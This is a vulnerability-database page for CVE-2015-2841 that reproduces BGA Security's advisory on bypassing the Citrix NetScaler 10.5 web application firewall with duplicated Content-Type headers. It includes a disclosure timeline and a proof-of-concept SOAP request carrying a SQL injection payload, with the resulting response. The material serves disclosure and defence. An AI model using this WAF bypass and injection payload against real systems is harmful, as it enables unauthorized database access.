CVE-2015-2841
Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Citrix NetScaler AppFirewall, as used in NetScaler 10.5, allows remote attackers to bypass intended firewall restrictions via a crafted Content-Type header, as demonstrated by the application/octet-stream and text/xml Content-Types.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Access Control The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:N/I:P/A:N | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 36369
Publication date : 2015-03-11 23h00 +00:00
Author : BGA Security
EDB Verified : No
# Exploit Title: [Citrix Netscaler NS10.5 WAF Bypass via HTTP Header Pollution]
# Date: [Mar 13, 2015]
# Exploit Author: [BGA Security]
# Vendor Homepage: [http://www.citrix.com/]
# Version: [NS10.5]
# Tested on: [NetScaler NS10.5: Build 50.9.nc,]
Document Title:
============
Citrix Netscaler NS10.5 WAF Bypass via HTTP Header Pollution
Release Date:
===========
12 Mar 2015
Product & Service Introduction:
========================
Citrix NetScaler AppFirewall is a comprehensive application security solution that blocks known and unknown attacks targeting web and web services applications.
Abstract Advisory Information:
=======================
BGA Security Team discovered an HTTP Header Pollution
vulnerability in Citrix Netscaler NS10.5 (other versions may be vulnerable)
Vulnerability Disclosure Timeline:
=========================
2 Feb 2015 Bug reported to the vendor.
4 Feb 2015 Vendor returned with a case ID.
5 Feb 2015 Detailed info/config given.
12 Feb 2015 Asked about the case.
16 Feb 2015 Vendor returned "investigating ..."
6 Mar 2015 Asked about the case.
6 Mar 2015 Vendor has validated the issue.
12 Mar 2015 There aren't any fix addressing the issue.
Discovery Status:
=============
Published
Affected Product(s):
===============
Citrix Systems, Inc.
Product: Citrix Netscaler NS10.5 (other versions may be vulnerable)
Exploitation Technique:
==================
Remote, Unauthenticated
Severity Level:
===========
High
Technical Details & Description:
========================
It is possible to bypass Netscaler WAF using a method which may be called HTTP Header Pollution. The setup:
An Apache web server with default configuration on Windows (XAMPP).
A SOAP web service which has written in PHP and vulnerable to SQL injection.
Netscaler WAF with SQL injection rules.
First request: ‘ union select current_user,2# - Netscaler blocks it.
Second request: The same content and an additional HTTP header which is “Content-Type: application/octet-stream”. - It bypasses the WAF but the web server misinterprets it.
Third request: The same content and two additional HTTP headers which are “Content-Type: application/octet-stream” and “Content-Type: text/xml” in that order. The request is able to bypass the WAF and the web server runs it.
Proof of Concept (PoC):
==================
Proof of Concept
Request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<string>’ union select current_user, 2#</string>
</soapenv:Body>
</soapenv:Envelope>
Response:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<return xsi:type=“xsd:string”> Name: root@localhost </return>
</soap:Body>
</soap:Envelope>
Solution Fix & Patch:
================
12 Mar 2015 There aren't any fix addressing the issue.
Security Risk:
==========
The risk of the vulnerability above estimated as high.
Credits & Authors:
==============
BGA Bilgi Güvenliği - Onur ALANBEL
Disclaimer & Information:
===================
The information provided in this advisory is provided as it is without any warranty. BGA disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. BGA or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages.
Domain: www.bga.com.tr
Social: twitter.com/bgasecurity
Contact: bilgi@bga.com.tr
Copyright © 2015 | BGA
Products Mentioned
Configuraton 0
Citrix>>Netscaler >> Version 10.5
- Citrix>>Netscaler >> Version 10.5 (Open CPE detail)
